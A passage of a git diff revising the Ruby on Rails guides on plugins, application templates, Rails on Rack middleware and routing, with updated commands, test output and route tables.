ActsAsYaffleTest < ActiveSupport::TestCase end ``` ```ruby # yaffle/lib/yaffle.rb -require "yaffle/core_ext" +require 'yaffle/core_ext' require 'yaffle/acts_as_yaffle' module Yaffle @@ -162,9 +170,9 @@ end ### Add a Class Method -This plugin will expect that you've added a method to your model named 'last_squawk'. However, the -plugin users might have already defined a method on their model named 'last_squawk' that they use -for something else. This plugin will allow the name to be changed by adding a class method called 'yaffle_text_field'. +This plugin will expect that you've added a method to your model named `last_squawk`. However, the +plugin users might have already defined a method on their model named `last_squawk` that they use +for something else. This plugin will allow the name to be changed by adding a class method called `yaffle_text_field`. To start out, write a failing test that shows the behavior you'd like: @@ -173,7 +181,7 @@ To start out, write a failing test that shows the behavior you'd like: require 'test_helper' -class ActsAsYaffleTest < Test::Unit::TestCase +class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field @@ -190,16 +198,16 @@ When you run `rake`, you should see the following: ``` 1) Error: - test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest): + ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: NameError: uninitialized constant ActsAsYaffleTest::Hickwall - test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' + /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' 2) Error: - test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest): + ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: NameError: uninitialized constant ActsAsYaffleTest::Wickwall - test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' + /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' - 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips + 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips ``` This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test. @@ -208,17 +216,16 @@ test/dummy directory: ```bash $ cd test/dummy -$ rails generate model Hickwall last_squawk:string -$ rails generate model Wickwall last_squawk:string last_tweet:string +$ bin/rails generate model Hickwall last_squawk:string +$ bin/rails generate model Wickwall last_squawk:string last_tweet:string ``` Now you can create the necessary database tables in your testing database by navigating to your dummy app -and migrating the database. First +and migrating the database. First, run: ```bash $ cd test/dummy -$ rake db:migrate -$ rake db:test:prepare +$ bin/rake db:migrate ``` While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act @@ -239,7 +246,7 @@ end ``` -We will also add code to define the acts_as_yaffle method. +We will also add code to define the `acts_as_yaffle` method. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -265,22 +272,22 @@ You can then return to the root directory (`cd ../..`) of your plugin and rerun ``` 1) Error: - test_a_hickwalls_yaffle_text_field_should_be_last_squawk(ActsAsYaffleTest): - NoMethodError: undefined method `yaffle_text_field' for #<Class:0x000001016661b8> - /Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing' - test/acts_as_yaffle_test.rb:5:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' + ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk: + NoMethodError: undefined method `yaffle_text_field' for #<Class:0x007fd105e3b218> + activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing' + /path/to/yaffle/test/acts_as_yaffle_test.rb:6:in `test_a_hickwalls_yaffle_text_field_should_be_last_squawk' 2) Error: - test_a_wickwalls_yaffle_text_field_should_be_last_tweet(ActsAsYaffleTest): - NoMethodError: undefined method `yaffle_text_field' for #<Class:0x00000101653748> - Users/xxx/.rvm/gems/ruby-1.9.2-p136@xxx/gems/activerecord-3.0.3/lib/active_record/base.rb:1008:in `method_missing' - test/acts_as_yaffle_test.rb:9:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' + ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet: + NoMethodError: undefined method `yaffle_text_field' for #<Class:0x007fd105e409c0> + activerecord (4.1.5) lib/active_record/dynamic_matchers.rb:26:in `method_missing' + /path/to/yaffle/test/acts_as_yaffle_test.rb:10:in `test_a_wickwalls_yaffle_text_field_should_be_last_tweet' - 5 tests, 3 assertions, 0 failures, 2 errors, 0 skips + 4 runs, 2 assertions, 0 failures, 2 errors, 0 skips ``` -Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass. +Getting closer... Now we will implement the code of the `acts_as_yaffle` method to make the tests pass. ```ruby # yaffle/lib/yaffle/acts_as_yaffle.rb @@ -304,10 +311,10 @@ end ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle ``` -When you run `rake` you should see the tests all pass: +When you run `rake`, you should see the tests all pass: ```bash - 5 tests, 5 assertions, 0 failures, 0 errors, 0 skips + 4 runs, 4 assertions, 0 failures, 0 errors, 0 skips ``` ### Add an Instance Method @@ -321,7 +328,7 @@ To start out, write a failing test that shows the behavior you'd like: # yaffle/test/acts_as_yaffle_test.rb require 'test_helper' -class ActsAsYaffleTest < Test::Unit::TestCase +class ActsAsYaffleTest < ActiveSupport::TestCase def test_a_hickwalls_yaffle_text_field_should_be_last_squawk assert_equal "last_squawk", Hickwall.yaffle_text_field @@ -381,10 +388,14 @@ ActiveRecord::Base.send :include, Yaffle::ActsAsYaffle Run `rake` one final time and you should see: ``` - 7 tests, 7 assertions, 0 failures, 0 errors, 0 skips + 6 runs, 6 assertions, 0 failures, 0 errors, 0 skips ``` -NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use `send("#{self.class.yaffle_text_field}=", string.to_squawk)`. +NOTE: The use of `write_attribute` to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use: + +```ruby +send("#{self.class.yaffle_text_field}=", string.to_squawk) +``` Generators ---------- @@ -392,7 +403,7 @@ Generators Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about the creation of generators can be found in the [Generators Guide](generators.html) -Publishing your Gem +Publishing Your Gem ------------------- Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply @@ -405,12 +416,12 @@ gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git' After running `bundle install`, your gem functionality will be available to the application. When the gem is ready to be shared as a formal release, it can be published to [RubyGems](http://www.rubygems.org). -For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html) +For more information about publishing gems to RubyGems, see: [Creating and Publishing Your First Ruby Gem](http://blog.thepete.net/2010/11/creating-and-publishing-your-first-ruby.html). RDoc Documentation ------------------ -Once your plugin is stable and you are ready to deploy do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. +Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy. The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are: @@ -424,12 +435,12 @@ Once your README is solid, go through and add rdoc comments to all of the method Once your comments are good to go, navigate to your plugin directory and run: ```bash -$ rake rdoc +$ bundle exec rake rdoc ``` ### References * [Developing a RubyGem using Bundler](https://github.com/radar/guides/blob/master/gem-development.md) * [Using .gemspecs as Intended](http://yehudakatz.com/2010/04/02/using-gemspecs-as-intended/) -* [Gemspec Reference](http://docs.rubygems.org/read/chapter/20) +* [Gemspec Reference](http://guides.rubygems.org/specification-reference/) * [GemPlugins: A Brief Introduction to the Future of Rails Plugins](http://www.intridea.com/blog/2008/6/11/gemplugins-a-brief-introduction-to-the-future-of-rails-plugins) diff --git a/guides/source/profiling.md b/guides/source/profiling.md new file mode 100644 index 0000000000..695b09647f --- /dev/null +++ b/guides/source/profiling.md @@ -0,0 +1,16 @@ +*DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + +A Guide to Profiling Rails Applications +======================================= + +This guide covers built-in mechanisms in Rails for profiling your application. + +After reading this guide, you will know: + +* Rails profiling terminology. +* How to write benchmark tests for your application. +* Other benchmarking approaches and plugins. + +-------------------------------------------------------------------------------- + + diff --git a/guides/source/rails_application_templates.md b/guides/source/rails_application_templates.md index 9e694acb98..0db777b9bb 100644 --- a/guides/source/rails_application_templates.md +++ b/guides/source/rails_application_templates.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Rails Application Templates =========================== @@ -13,7 +15,7 @@ After reading this guide, you will know: Usage ----- -To apply a template, you need to provide the Rails generator with the location of the template you wish to apply, using -m option. This can either be path to a file or a URL. +To apply a template, you need to provide the Rails generator with the location of the template you wish to apply using the -m option. This can either be a path to a file or a URL. ```bash $ rails new blog -m ~/template.rb @@ -23,32 +25,33 @@ $ rails new blog -m http://example.com/template.rb You can use the rake task `rails:template` to apply templates to an existing Rails application. The location of the template needs to be passed in to an environment variable named LOCATION. Again, this can either be path to a file or a URL. ```bash -$ rake rails:template LOCATION=~/template.rb -$ rake rails:template LOCATION=http://example.com/template.rb +$ bin/rake rails:template LOCATION=~/template.rb +$ bin/rake rails:template LOCATION=http://example.com/template.rb ``` Template API ------------ -Rails templates API is very self explanatory and easy to understand. Here's an example of a typical Rails template: +The Rails templates API is easy to understand. Here's an example of a typical Rails template: ```ruby # template.rb -run "rm public/index.html" generate(:scaffold, "person name:string") route "root to: 'people#index'" rake("db:migrate") -git :init -git add: "." -git commit: %Q{ -m 'Initial commit' } +after_bundle do + git :init + git add: "." + git commit: %Q{ -m 'Initial commit' } +end ``` -The following sections outlines the primary methods provided by the API: +The following sections outline the primary methods provided by the API: ### gem(*args) -Adds a `gem` entry for the supplied gem to the generated application’s `Gemfile`. +Adds a `gem` entry for the supplied gem to the generated application's `Gemfile`. For example, if your application depends on the gems `bj` and `nokogiri`: @@ -67,7 +70,7 @@ bundle install Wraps gem entries inside a group. -For example, if you want to load `rspec-rails` only in `development` and `test` group: +For example, if you want to load `rspec-rails` only in the `development` and `test` groups: ```ruby gem_group :development, :test do @@ -79,7 +82,7 @@ end Adds the given source to the generated application's `Gemfile`. -For example, if you need to source a gem from "http://code.whytheluckystiff.net": +For example, if you need to source a gem from `"http://code.whytheluckystiff.net"`: ```ruby add_source "http://code.whytheluckystiff.net" @@ -92,16 +95,16 @@ Adds a line inside the `Application` class for `config/application.rb`. If `options[:env]` is specified, the line is appended to the corresponding file in `config/environments`. ```ruby -environment 'config.action_mailer.default_url_options = {host: 'http://yourwebsite.example.com'}, env: 'production' +environment 'config.action_mailer.default_url_options = {host: "http://yourwebsite.example.com"}', env: 'production' ``` A block can be used in place of the `data` argument. ### vendor/lib/file/initializer(filename, data = nil, &block) -Adds an initializer to the generated application’s `config/initializers` directory. +Adds an initializer to the generated application's `config/initializers` directory. -Lets say you like using `Object#not_nil?` and `Object#not_blank?`: +Let's say you like using `Object#not_nil?` and `Object#not_blank?`: ```ruby initializer 'bloatlol.rb', <<-CODE @@ -117,9 +120,9 @@ initializer 'bloatlol.rb', <<-CODE CODE ``` -Similarly `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory. +Similarly, `lib()` creates a file in the `lib/` directory and `vendor()` creates a file in the `vendor/` directory. -There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/file needed: +There is even `file()`, which accepts a relative path from `Rails.root` and creates all the directories/files needed: ```ruby file 'app/components/foo.rb', <<-CODE @@ -128,7 +131,7 @@ file 'app/components/foo.rb', <<-CODE CODE ``` -That’ll create `app/components` directory and put `foo.rb` in there. +That'll create the `app/components` directory and put `foo.rb` in there. ### rakefile(filename, data = nil, &block) @@ -158,10 +161,10 @@ generate(:scaffold, "person", "name:string", "address:text", "age:number") ### run(command) -Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `public/index.html` file: +Executes an arbitrary command. Just like the backticks. Let's say you want to remove the `README.rdoc` file: ```ruby -run "rm public/index.html" +run "rm README.rdoc" ``` ### rake(command, options = {}) @@ -180,7 +183,7 @@ rake "db:migrate", env: 'production' ### route(routing_code) -Adds a routing entry to the `config/routes.rb` file. In above steps, we generated a person scaffold and also removed `public/index.html`. Now to make `PeopleController#index` as the default page for the application: +Adds a routing entry to the `config/routes.rb` file. In the steps above, we generated a person scaffold and also removed `README.rdoc`. Now, to make `PeopleController#index` the default page for the application: ```ruby route "root to: 'person#index'" @@ -198,7 +201,7 @@ end ### ask(question) -`ask()` gives you a chance to get some feedback from the user and use it in your templates. Lets say you want your user to name the new shiny library you’re adding: +`ask()` gives you a chance to get some feedback from the user and use it in your templates. Let's say you want your user to name the new shiny library you're adding: ```ruby lib_name = ask("What do you want to call the shiny library ?") @@ -212,7 +215,7 @@ CODE ### yes?(question) or no?(question) -These methods let you ask questions from templates and decide the flow based on the user’s answer. Lets say you want to freeze rails only if the user want to: +These methods let you ask questions from templates and decide the flow based on the user's answer. Let's say you want to freeze rails only if the user wants to: ```ruby rake("rails:freeze:gems") if yes?("Freeze rails gems?") @@ -228,3 +231,38 @@ git :init git add: "." git commit: "-a -m 'Initial commit'" ``` + +### after_bundle(&block) + +Registers a callback to be executed after the gems are bundled and binstubs +are generated. Useful for all generated files to version control: + +```ruby +after_bundle do + git :init + git add: '.' + git commit: "-a -m 'Initial commit'" +end +``` + +The callbacks gets executed even if `--skip-bundle` and/or `--skip-spring` has +been passed. + +Advanced Usage +-------------- + +The application template is evaluated in the context of a +`Rails::Generators::AppGenerator` instance. It uses the `apply` action +provided by +[Thor](https://github.com/erikhuda/thor/blob/master/lib/thor/actions.rb#L207). +This means you can extend and change the instance to match your needs. + +For example by overwriting the `source_paths` method to contain the +location of your template. Now methods like `copy_file` will accept +relative paths to your template's location. + +```ruby +def source_paths + [File.expand_path(File.dirname(__FILE__))] +end +``` diff --git a/guides/source/rails_on_rack.md b/guides/source/rails_on_rack.md index ac355b4a08..bfe4ced87b 100644 --- a/guides/source/rails_on_rack.md +++ b/guides/source/rails_on_rack.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Rails on Rack ============= @@ -5,7 +7,6 @@ This guide covers Rails integration with Rack and interfacing with other Rack co After reading this guide, you will know: -* How to create Rails Metal applications. * How to use Rack Middlewares in your Rails applications. * Action Pack's internal Middleware stack. * How to define a custom Middleware stack. @@ -19,7 +20,7 @@ Introduction to Rack Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call. -- [Rack API Documentation](http://rack.rubyforge.org/doc/) +* [Rack API Documentation](http://rack.github.io/) Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the [Resources](#resources) section below. @@ -28,7 +29,9 @@ Rails on Rack ### Rails Application's Rack Object -`ApplicationName::Application` is the primary Rack application object of a Rails application. Any Rack compliant web server should be using `ApplicationName::Application` object to serve a Rails application. +`Rails.application` is the primary Rack application object of a Rails +application. Any Rack compliant web server should be using +`Rails.application` object to serve a Rails application. ### `rails server` @@ -37,11 +40,11 @@ Rails on Rack Here's how `rails server` creates an instance of `Rack::Server` ```ruby -Rails::Server.new.tap { |server| +Rails::Server.new.tap do |server| require APP_PATH Dir.chdir(Rails.application.root) server.start -} +end ``` The `Rails::Server` inherits from `Rack::Server` and calls the `Rack::Server#start` method this way: @@ -79,11 +82,11 @@ To use `rackup` instead of Rails' `rails server`, you can put the following insi ```ruby # Rails.root/config.ru -require "config/environment" +require ::File.expand_path('../config/environment', __FILE__) -use Rack::Debugger +use Rails::Rack::Debugger use Rack::ContentLength -run ApplicationName::Application +run Rails.application ``` And start the server: @@ -98,10 +101,14 @@ To find out more about different `rackup` options: $ rackup --help ``` +### Development and auto-reloading + +Middlewares are loaded once and are not monitored for changes. You will have to restart the server for changes to be reflected in the running application. + Action Dispatcher Middleware Stack ---------------------------------- -Many of Action Dispatchers's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application. +Many of Action Dispatcher's internal components are implemented as Rack middlewares. `Rails::Application` uses `ActionDispatch::MiddlewareStack` to combine various internal and external middlewares to form a complete Rails Rack application. NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, but built for better flexibility and more features to meet Rails' requirements. @@ -110,12 +117,13 @@ NOTE: `ActionDispatch::MiddlewareStack` is Rails equivalent of `Rack::Builder`, Rails has a handy rake task for inspecting the middleware stack in use: ```bash -$ rake middleware +$ bin/rake middleware ``` For a freshly generated Rails application, this might produce something like: ```ruby +use Rack::Sendfile use ActionDispatch::Static use Rack::Lock use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838> @@ -128,6 +136,7 @@ use ActionDispatch::DebugExceptions use ActionDispatch::RemoteIp use ActionDispatch::Reloader use ActionDispatch::Callbacks +use ActiveRecord::Migration::CheckPending use ActiveRecord::ConnectionAdapters::ConnectionManagement use ActiveRecord::QueryCache use ActionDispatch::Cookies @@ -137,11 +146,10 @@ use ActionDispatch::ParamsParser use Rack::Head use Rack::ConditionalGet use Rack::ETag -use ActionDispatch::BestStandardsSupport -run MyApp::Application.routes +run Rails.application.routes ``` -Purpose of each of this middlewares is explained in the [Internal Middlewares](#internal-middleware-stack) section. +The default middlewares shown here (and some others) are each summarized in the [Internal Middlewares](#internal-middleware-stack) section, below. ### Configuring Middleware Stack @@ -179,27 +187,26 @@ You can swap an existing middleware in the middleware stack using `config.middle config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions ``` -#### Middleware Stack is an Enumerable - -The middleware stack behaves just like a normal `Enumerable`. You can use any `Enumerable` methods to manipulate or interrogate the stack. The middleware stack also implements some `Array` methods including `[]`, `unshift` and `delete`. Methods described in the section above are just convenience methods. +#### Deleting a Middleware -Append following lines to your application configuration: +Add the following lines to your application configuration: ```ruby # config/application.rb config.middleware.delete "Rack::Lock" ``` -And now if you inspect the middleware stack, you'll find that `Rack::Lock` will not be part of it. +And now if you inspect the middleware stack, you'll find that `Rack::Lock` is +not a part of it. ```bash -$ rake middleware +$ bin/rake middleware (in /Users/lifo/Rails/blog) use ActionDispatch::Static use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8> use Rack::Runtime ... -run Blog::Application.routes +run Rails.application.routes ``` If you want to remove session related middleware, do the following: @@ -215,7 +222,6 @@ And to remove browser related middleware, ```ruby # config/application.rb -config.middleware.delete "ActionDispatch::BestStandardsSupport" config.middleware.delete "Rack::MethodOverride" ``` @@ -223,122 +229,106 @@ config.middleware.delete "Rack::MethodOverride" Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them: - **`ActionDispatch::Static`** +**`Rack::Sendfile`** + +* Sets server specific X-Sendfile header. Configure this via `config.action_dispatch.x_sendfile_header` option. -* Used to serve static assets. Disabled if `config.serve_static_assets` is true. +**`ActionDispatch::Static`** - **`Rack::Lock`** +* Used to serve static files. Disabled if `config.serve_static_files` is `false`. + +**`Rack::Lock`** * Sets `env["rack.multithread"]` flag to `false` and wraps the application within a Mutex. - **`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** +**`ActiveSupport::Cache::Strategy::LocalCache::Middleware`** * Used for memory caching. This cache is not thread safe. - **`Rack::Runtime`** +**`Rack::Runtime`** * Sets an X-Runtime header, containing the time (in seconds) taken to execute the request. - **`Rack::MethodOverride`** +**`Rack::MethodOverride`** * Allows the method to be overridden if `params[:_method]` is set. This is the middleware which supports the PUT and DELETE HTTP method types. - **`ActionDispatch::RequestId`** +**`ActionDispatch::RequestId`** * Makes a unique `X-Request-Id` header available to the response and enables the `ActionDispatch::Request#uuid` method. - **`Rails::Rack::Logger`** +**`Rails::Rack::Logger`** * Notifies the logs that the request has began. After request is complete, flushes all the logs. - **`ActionDispatch::ShowExceptions`** +**`ActionDispatch::ShowExceptions`** * Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user. - **`ActionDispatch::DebugExceptions`** +**`ActionDispatch::DebugExceptions`** * Responsible for logging exceptions and showing a debugging page in case the request is local. - **`ActionDispatch::RemoteIp`** +**`ActionDispatch::RemoteIp`** * Checks for IP spoofing attacks. - **`ActionDispatch::Reloader`** +**`ActionDispatch::Reloader`** * Provides prepare and cleanup callbacks, intended to assist with code reloading during development. - **`ActionDispatch::Callbacks`** +**`ActionDispatch::Callbacks`** + +* Provides callbacks to be executed before and after dispatching the request. + +**`ActiveRecord::Migration::CheckPending`** -* Runs the prepare callbacks before serving the request. +* Checks pending migrations and raises `ActiveRecord::PendingMigrationError` if any migrations are pending. - **`ActiveRecord::ConnectionAdapters::ConnectionManagement`** +**`ActiveRecord::ConnectionAdapters::ConnectionManagement`** * Cleans active connections after each request, unless the `rack.test` key in the request environment is set to `true`. - **`ActiveRecord::QueryCache`** +**`ActiveRecord::QueryCache`** * Enables the Active Record query cache. - **`ActionDispatch::Cookies`** +**`ActionDispatch::Cookies`** * Sets cookies for the request. - **`ActionDispatch::Session::CookieStore`** +**`ActionDispatch::Session::CookieStore`** * Responsible for storing the session in cookies. - **`ActionDispatch::Flash`** +**`ActionDispatch::Flash`** * Sets up the flash keys. Only available if `config.action_controller.session_store` is set to a value. - **`ActionDispatch::ParamsParser`** +**`ActionDispatch::ParamsParser`** * Parses out parameters from the request into `params`. - **`ActionDispatch::Head`** +**`Rack::Head`** * Converts HEAD requests to `GET` requests and serves them as so. - **`Rack::ConditionalGet`** +**`Rack::ConditionalGet`** * Adds support for "Conditional `GET`" so that server responds with nothing if page wasn't changed. - **`Rack::ETag`** +**`Rack::ETag`** * Adds ETag header on all String bodies. ETags are used to validate cache. - **`ActionDispatch::BestStandardsSupport`** - -* Enables “best standards support” so that IE8 renders some elements correctly. - TIP: It's possible to use any of the above middlewares in your custom Rack stack. -### Using Rack Builder - -The following shows how to replace use `Rack::Builder` instead of the Rails supplied `MiddlewareStack`. - -<strong>Clear the existing Rails middleware stack</strong> - -```ruby -# config/application.rb -config.middleware.clear -``` - -<br /> -<strong>Add a `config.ru` file to `Rails.root`</strong> - -```ruby -# config.ru -use MyOwnStackFromScratch -run ApplicationName::Application -``` - Resources --------- ### Learning Rack -* [Official Rack Website](http://rack.github.com) +* [Official Rack Website](http://rack.github.io) * [Introducing Rack](http://chneukirchen.org/blog/archive/2007/02/introducing-rack.html) * [Ruby on Rack #1 - Hello Rack!](http://m.onkey.org/ruby-on-rack-1-hello-rack) * [Ruby on Rack #2 - The Builder](http://m.onkey.org/ruby-on-rack-2-the-builder) diff --git a/guides/source/routing.md b/guides/source/routing.md index 14f23d4020..893cedeefc 100644 --- a/guides/source/routing.md +++ b/guides/source/routing.md @@ -1,3 +1,5 @@ +**DO NOT READ THIS FILE IN GITHUB, GUIDES ARE PUBLISHED IN http://guides.rubyonrails.org.** + Rails Routing from the Outside In ================================= @@ -36,7 +38,7 @@ the request is dispatched to the `patients` controller's `show` action with `{ i ### Generating Paths and URLs from Code -You can also generate paths and URLs. If the route above is modified to be: +You can also generate paths and URLs. If the route above is modified to be: ```ruby get '/patients/:id', to: 'patients#show', as: 'patient' @@ -89,15 +91,15 @@ resources :photos creates seven different routes in your application, all mapping to the `Photos` controller: -| HTTP Verb | Path | Action | Used for | -| --------- | ---------------- | ------- | -------------------------------------------- | -| GET | /photos | index | display a list of all photos | -| GET | /photos/new | new | return an HTML form for creating a new photo | -| POST | /photos | create | create a new photo | -| GET | /photos/:id | show | display a specific photo | -| GET | /photos/:id/edit | edit | return an HTML form for editing a photo | -| PATCH/PUT | /photos/:id | update | update a specific photo | -| DELETE | /photos/:id | destroy | delete a specific photo | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | ---------------- | ----------------- | -------------------------------------------- | +| GET | /photos | photos#index | display a list of all photos | +| GET | /photos/new | photos#new | return an HTML form for creating a new photo | +| POST | /photos | photos#create | create a new photo | +| GET | /photos/:id | photos#show | display a specific photo | +| GET | /photos/:id/edit | photos#edit | return an HTML form for editing a photo | +| PATCH/PUT | /photos/:id | photos#update | update a specific photo | +| DELETE | /photos/:id | photos#destroy | delete a specific photo | NOTE: Because the router uses the HTTP verb and URL to match inbound requests, four URLs map to seven different actions. @@ -138,6 +140,12 @@ Sometimes, you have a resource that clients always look up without referencing a get 'profile', to: 'users#show' ``` +Passing a `String` to `get` will expect a `controller#action` format, while passing a `Symbol` will map directly to an action: + +```ruby +get 'profile', to: :show +``` + This resourceful route: ```ruby @@ -146,16 +154,16 @@ resource :geocoder creates six different routes in your application, all mapping to the `Geocoders` controller: -| HTTP Verb | Path | Action | Used for | -| --------- | -------------- | ------- | --------------------------------------------- | -| GET | /geocoder/new | new | return an HTML form for creating the geocoder | -| POST | /geocoder | create | create the new geocoder | -| GET | /geocoder | show | display the one and only geocoder resource | -| GET | /geocoder/edit | edit | return an HTML form for editing the geocoder | -| PATCH/PUT | /geocoder | update | update the one and only geocoder resource | -| DELETE | /geocoder | destroy | delete the geocoder resource | +| HTTP Verb | Path | Controller#Action | Used for | +| --------- | -------------- | ----------------- | --------------------------------------------- | +| GET | /geocoder/new | geocoders#new | return an HTML form for creating the geocoder | +| POST | /geocoder | geocoders#create | create the new geocoder | +| GET | /geocoder | geocoders#show | display the one and only geocoder resource | +| GET | /geocoder/edit | geocoders#edit | return an HTML form for editing the geocoder | +| PATCH/PUT | /geocoder | geocoders#update | update the one and only geocoder resource | +| DELETE | /geocoder | geocoders#destroy | delete the geocoder resource | -NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. +NOTE: Because you might want to use the same controller for a singular route (`/account`) and a plural route (`/accounts/45`), singular resources map to plural controllers. So that, for example, `resource :photo` and `resources :photos` creates both singular and plural routes that map to the same controller (`PhotosController`). A singular resourceful route generates these helpers: @@ -165,67 +173,75 @@ A singular resourceful route generates these helpers: As with plural resources, the same helpers ending in `_url` will also include the host, port and path prefix. +WARNING: A [long-standing bug](https://github.com/rails/rails/issues/1769) prevents `form_for` from working automatically with singular resources. As a workaround, specify the URL for the form directly, like so: + +```ruby +form_for @geocoder, url: geocoder_path do |f| +``` + ### Controller Namespaces and Routing You may wish to organize groups of controllers under a namespace. Most commonly, you might group a number of administrative controllers under an `Admin::` namespace. You would place these controllers under the `app/controllers/admin` directory, and you can group them together in your router: ```ruby namespace :admin do - resources :posts, :comments + resources :articles, :comments end ``` -This will create a number of routes for each of the `posts` and `comments` controller. For `Admin::PostsController`, Rails will create: +This will create a number of routes for each of the `articles` and `comments` controller. For `Admin::ArticlesController`, Rails will create: -| HTTP Verb | Path | Action | Used for | -| --------- | --------------------- | ------- | ------------------------- | -| GET | /admin/posts | index | admin_posts_path | -| GET | /admin/posts/new | new | new_admin_post_path | -| POST | /admin/posts | create | admin_posts_path | -| GET | /admin/posts/:id | show | admin_post_path(:id) | -| GET | /admin/posts/:id/edit | edit | edit_admin_post_path(:id) | -| PATCH/PUT | /admin/posts/:id | update | admin_post_path(:id) | -| DELETE | /admin/posts/:id | destroy | admin_post_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ------------------------ | ---------------------- | ---------------------------- | +| GET | /admin/articles | admin/articles#index | admin_articles_path | +| GET | /admin/articles/new | admin/articles#new | new_admin_article_path | +| POST | /admin/articles | admin/articles#create | admin_articles_path | +| GET | /admin/articles/:id | admin/articles#show | admin_article_path(:id) | +| GET | /admin/articles/:id/edit | admin/articles#edit | edit_admin_article_path(:id) | +| PATCH/PUT | /admin/articles/:id | admin/articles#update | admin_article_path(:id) | +| DELETE | /admin/articles/:id | admin/articles#destroy | admin_article_path(:id) | -If you want to route `/posts` (without the prefix `/admin`) to `Admin::PostsController`, you could use: +If you want to route `/articles` (without the prefix `/admin`) to `Admin::ArticlesController`, you could use: ```ruby scope module: 'admin' do - resources :posts, :comments + resources :articles, :comments end ``` or, for a single case: ```ruby -resources :posts, module: 'admin' +resources :articles, module: 'admin' ``` -If you want to route `/admin/posts` to `PostsController` (without the `Admin::` module prefix), you could use: +If you want to route `/admin/articles` to `ArticlesController` (without the `Admin::` module prefix), you could use: ```ruby scope '/admin' do - resources :posts, :comments + resources :articles, :comments end ``` or, for a single case: ```ruby -resources :posts, path: '/admin/posts' +resources :articles, path: '/admin/articles' ``` In each of these cases, the named routes remain the same as if you did not use `scope`. In the last case, the following paths map to `PostsController`: -| HTTP Verb | Path | Action | Named Helper | -| --------- | --------------------- | ------- | ------------------- | -| GET | /admin/posts | index | posts_path | -| GET | /admin/posts/new | new | new_post_path | -| POST | /admin/posts | create | posts_path | -| GET | /admin/posts/:id | show | post_path(:id) | -| GET | /admin/posts/:id/edit | edit | edit_post_path(:id) | -| PATCH/PUT | /admin/posts/:id | update | post_path(:id) | -| DELETE | /admin/posts/:id | destroy | post_path(:id) | +| HTTP Verb | Path | Controller#Action | Named Helper | +| --------- | ------------------------ | -------------------- | ---------------------- | +| GET | /admin/articles | articles#index | articles_path | +| GET | /admin/articles/new | articles#new | new_article_path | +| POST | /admin/articles | articles#create | articles_path | +| GET | /admin/articles/:id | articles#show | article_path(:id) | +| GET | /admin/articles/:id/edit | articles#edit | edit_article_path(:id) | +| PATCH/PUT | /admin/articles/:id | articles#update | article_path(:id) | +| DELETE | /admin/articles/:id | articles#destroy | article_path(:id) | + +TIP: _If you need to use a different controller namespace inside a `namespace` block you can specify an absolute controller path, e.g: `get 